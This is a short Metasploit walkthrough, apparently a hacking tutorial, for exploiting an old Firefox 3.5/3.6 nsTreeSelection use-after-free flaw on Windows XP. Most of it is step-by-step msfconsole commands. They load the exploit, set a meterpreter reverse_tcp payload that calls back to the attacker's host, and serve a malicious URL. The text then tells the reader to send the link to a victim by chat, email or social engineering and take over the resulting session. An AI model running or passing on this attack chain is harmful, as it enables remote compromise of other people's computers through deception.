This module exploits a code execution vulnerability in Mozilla Firefox 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection. By overwriting a subfunction of invalidate Selection it is possible to free the nsTreeRange object that the function currently operates on. Any further operations on the freed object can result in remote code execution. Utilizing the call setup the function provides it’s possible to bypass DEP without the need for a ROP. Sadly this exploit is still either dependent on Java or bound by ASLR because Firefox doesn’t employ any ASLR-free modules anymore.
Mozilla Firefox 3.6.16
Windows XP SP 2
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/browser/mozilla_nstreerange
Msf exploit (mozilla_nstreerange)>set payload windows/meterpreter/reverse_tcp
Msf exploit (mozilla_nstreerange)>set lhost 192.168.1.4 (IP of Local Host)
Msf exploit (mozilla_nstreerange)>set srvhost 192.168.1.4 (This must be an address on the local machine)
Msf exploit (mozilla_nstreerange)>set uripath nstreerange (The Url to use for this exploit)
Msf exploit (mozilla_nstreerange)>exploit
Now an URL you should give to your victim http://192.168.1.4:8080/nstreerange
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“